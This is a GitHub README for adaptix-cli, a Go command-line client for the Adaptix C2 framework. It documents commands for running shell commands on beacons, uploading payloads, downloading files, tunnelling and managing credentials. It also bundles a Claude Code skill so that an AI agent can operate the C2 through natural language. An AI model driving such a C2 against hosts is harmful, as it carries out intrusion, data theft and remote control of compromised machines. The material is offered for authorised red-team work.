Skip to content

Cherno-x/adaptix-cli

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

adaptix-cli

English | 中文

A command-line interface for the Adaptix C2 framework, written in Go.

adaptix-cli lets you drive an Adaptix Teamserver from the terminal — list beacons, run shell commands, transfer files, manage listeners/tunnels/credentials — with the same REST API the Qt GUI client uses. It is built for AI agent integration and automation: every command has a --json (-j) mode that returns raw, parseable JSON, and a Claude Code skill is bundled so an AI agent can operate the C2 end-to-end through natural language.

Use case. This is an authorized-use red-team / detection-engineering tool. Run it only against Adaptix C2 infrastructure you own or are explicitly authorized to test. See the Authorization section.

The binary is called axcli (the project is adaptix-cli, the command is axcli).


Quick Start

# Build
go build -o axcli .

# Login (credentials saved to ~/.adaptix/config.json)
./axcli login --url https://127.0.0.1:8443 -u admin -p your_password

# List beacons (table with alive/dead Status column)
./axcli beacons

# Execute a shell command on a beacon
./axcli shell --id ABCD1234 "whoami /all"

# Interactive beacon console (auto-waits for results)
./axcli console --id ABCD1234

# Upload a file to a beacon
./axcli upload --id ABCD1234 --file /tmp/payload.exe --remote-path "C:\\temp\\payload.exe"

# Download a file from a beacon (beacon -> server -> local cwd, auto-synced)
./axcli download --id ABCD1234 --path "C:\\secret\\data.txt"

What it does

Capability How
Discover & identify beacons beacons / agent list — shows alive/dead status, host, user, OS, process
Run commands on a beacon shell, ps, ls, cat, cd, pwd, getuid, disks, kill, jobs
File transfer upload (one-shot), download (beacon→server→local cwd, auto)
Interactive REPL console — multi-command session that auto-waits for results
Beacon control sleep, rev2self, terminate
Server management listener, tunnel (socks4/5, port fwd), creds, targets, screenshot, chat, otp
Task lifecycle task list / cancel / delete, download-mgr for server-side downloads
AI / scripting -j raw JSON on every command; bundled Claude Code skill

Beacon alive/dead status

The Status column reports alive or dead. A beacon is dead when the Teamserver marks it Inactive, Terminated, or Disconnect; for beacons with a sleep interval it also falls back to dead when it hasn't checked in for well past its sleep window (mirrors the Qt client's health check).

Download flow

Downloads are two-stage under the hood (beacon pushes the file to the server, then you fetch it), but download automates both: it queues the task, waits for the beacon to finish, and writes the file to the current working directory using the remote path's basename. Use download-mgr only to re-fetch a past download or after --no-wait.

axcli download --id X --path "C:\\secret\\data.txt"            # auto-sync to ./data.txt
axcli download --id X --path "C:\\secret\\data.txt" -o /tmp/d  # custom output path
axcli download --id X --path "C:\\secret\\data.txt" --no-wait  # queue only

axcli download-mgr list                                         # server-side downloads
axcli download-mgr sync --file-id <FILE_ID>                     # fetch to cwd
axcli download-mgr delete <FILE_ID>                             # cleanup

If the file doesn't exist on the beacon, download fails fast with the beacon's error (e.g. Error [2]: FILE_NOT_FOUND) instead of timing out.

Configuration

Credentials persist to ~/.adaptix/config.json (0600) on successful login.

{
  "url": "https://127.0.0.1:8443",
  "username": "admin",
  "password": "your_password",
  "endpoint": "/api/v1",
  "insecure": true,
  "access_token": "jwt_token_here",
  "refresh_token": "jwt_refresh_here"
}

Priority (highest to lowest): CLI flags (--url, -u, -p) → env vars (ADAPTIX_URL, ADAPTIX_USER, ADAPTIX_PASSWORD) → config file.

JWT tokens are cached and auto-refreshed on 401. Re-run axcli login to force re-authentication.

Command Reference

Shortcut Commands (AI-friendly)

Command Description Example
beacons List all beacons (with status) axcli beacons
shell Execute shell command axcli shell --id X whoami
ls List directory axcli ls --id X --path C:\\
cat Read file axcli cat --id X C:\\file.txt
cd Change directory axcli cd --id X C:\\Windows
pwd Print working directory axcli pwd --id X
ps List processes axcli ps --id X
getuid Get current user axcli getuid --id X
sleep Set sleep interval axcli sleep --id X 5s --jitter 20
rm Delete file/directory axcli rm --id X C:\\file.txt
mkdir Create directory axcli mkdir --id X C:\\newdir
cp Copy file axcli cp --id X src dst
mv Move/rename file axcli mv --id X src dst
disks List disks (Windows) axcli disks --id X
kill Kill process axcli kill --id X 1234
jobs List/kill jobs axcli jobs --id X
terminate Kill agent axcli terminate --id X process
rev2self Revert impersonation axcli rev2self --id X
upload Upload file axcli upload --id X --file local --remote-path remote
download Download file (auto-sync to cwd) axcli download --id X --path remote
console Interactive REPL axcli console --id X

Interactive Console

An interactive beacon console with real-time task output, similar to the Qt GUI client:

axcli console --id ABCD1234
axcli console --id ABCD1234 --poll 3 --timeout 120
axcli console --id ABCD1234 --no-wait  # fire-and-forget

Console flags: --poll N (task poll interval, default 5s) · --timeout N (default 120s) · --no-wait.

Inside the console
ls [path] · cat <path> · cd <path> · pwd file ops
ps · getuid · disks · kill <pid> · jobs [kill <id>] process / job ops
download <path> · upload <local> <remote> file transfer (download auto-syncs to cwd)
sleep <dur> [jitter] · rev2self · terminate [method] beacon control
shell <cmd> explicit shell
tasklist · clear · help · exit/quit session

Any unrecognized command runs as shell <command> — typing ipconfig is the same as shell ipconfig.

Management Commands

Command Subcommands Description
agent list, remove, command, raw, generate, console-clear, tag, mark, color Agent management
task list, cancel, delete Task management
listener list, create, stop, edit, pause, resume Listener management
download-mgr list, sync, delete Download file management
tunnel list, socks5, socks4, lportfwd, rportfwd, stop Tunnel/proxy management
creds list, add, remove Credential management
targets list, add, remove Target management
screenshot list, image Screenshot management
service list, call Service management
chat (positional arg) Send chat message
otp (flags) Generate one-time password

Global Flags

Flag Short Description
--url Teamserver URL
--user -u Username
--password -p Password
--endpoint API prefix (default: /api/v1)
--json -j Raw JSON output
--insecure -k Skip TLS verification (default: true)

Building

# Debug build
go build -o axcli .

# Optimized release builds
CGO_ENABLED=0 GOOS=linux   GOARCH=amd64 go build -ldflags="-s -w" -o axcli .
CGO_ENABLED=0 GOOS=darwin  GOARCH=arm64 go build -ldflags="-s -w" -o axcli .
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o axcli.exe .

Claude Code Skill

A Claude Code skill is bundled at .claude/skills/adaptix.md. Install it by copying (or symlinking) into your Claude skills directory:

cp .claude/skills/adaptix.md ~/.claude/skills/adaptix.md

Then invoke it with /adaptix in a Claude Code session to operate the C2 through natural language.

API Protocol

The CLI wraps the Adaptix Teamserver REST API:

  1. Auth: JWT (POST /login → access_token + refresh_token)
  2. Shell: POST /agent/command/raw through the AxScript parser (same path as the Qt GUI)
  3. Structured commands: POST /agent/command/execute with structured args JSON
  4. Upload: files are base64-encoded and sent as command args
  5. Download: download queues the task, waits for the beacon to finish, then auto-syncs to cwd; download-mgr sync re-fetches a server-side download
  6. Console: polls GET /agent/task/list to wait for command results

Authorization

This tool is for authorized security testing, red-team operations, and detection engineering against Adaptix C2 infrastructure you own or are explicitly authorized to assess. Do not use it against systems you do not have permission to test. The authors are not responsible for misuse.

About

Go CLI for the Adaptix C2 framework — beacon ops, file transfer, listeners, tunnels, interactive console. Built for AI agent integration.

Resources

License

Stars

0 stars

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages